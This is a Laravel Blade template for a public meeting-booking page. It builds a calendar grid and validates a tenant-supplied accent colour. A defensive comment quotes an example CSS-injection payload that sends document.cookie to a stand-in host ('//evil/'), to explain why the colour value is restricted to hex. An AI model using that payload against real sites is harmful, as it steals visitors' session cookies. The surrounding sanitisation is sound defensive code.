@php
use Illuminate\Support\Carbon;
$today = Carbon::today();
// Monday-first grid
$firstDay = $today->copy()->startOfMonth();
$monthStart = $firstDay->copy()->startOfWeek(Carbon::MONDAY);
$monthEnd = $firstDay->copy()->endOfMonth()->endOfWeek(Carbon::SUNDAY);
$gridDays = [];
$cursor = $monthStart->copy();
while ($cursor->lte($monthEnd)) {
$gridDays[] = $cursor->copy();
$cursor->addDay();
}
@endphp
{{ __('booking.page_title_book_with', ['meeting' => $meetingType->name, 'host' => $host->name]) }}
@php
// CSS-context defense: $meetingType->color lands inside an
// inline `style="..."` attribute as a CSS custom-property value.
// Filament's ColorPicker validates ONLY on the client — a malicious
// tenant who tampers the Livewire payload can persist e.g.
// `red; }; body{background:url('//evil/?'+document.cookie+');}`
// which then renders into every public booking page they own and
// breaks out of the `--bs-accent` declaration in a visitor's
// browser. Blade `{{ }}` HTML-escapes — it does NOT defend the
// CSS context (browsers entity-decode `'` back to `'` BEFORE
// the CSS parser runs). ColorSafety::safeHex enforces the strict
// `#rgb` / `#rgba` / `#rrggbb` / `#rrggbbaa` shape, falling back to
// the default indigo when any non-hex content is detected.
$safeAccent = \App\Support\ColorSafety::safeHex($meetingType->color, '#4f46e5');
@endphp
{{-- Per-meeting accent color is passed as a CSS custom property
(`--bs-accent`) — the single irreducibly-dynamic style declaration
for this page. Booking endpoints + future-days config are passed
via data-* attributes consumed by public/js/views/public/booking/show.js. --}}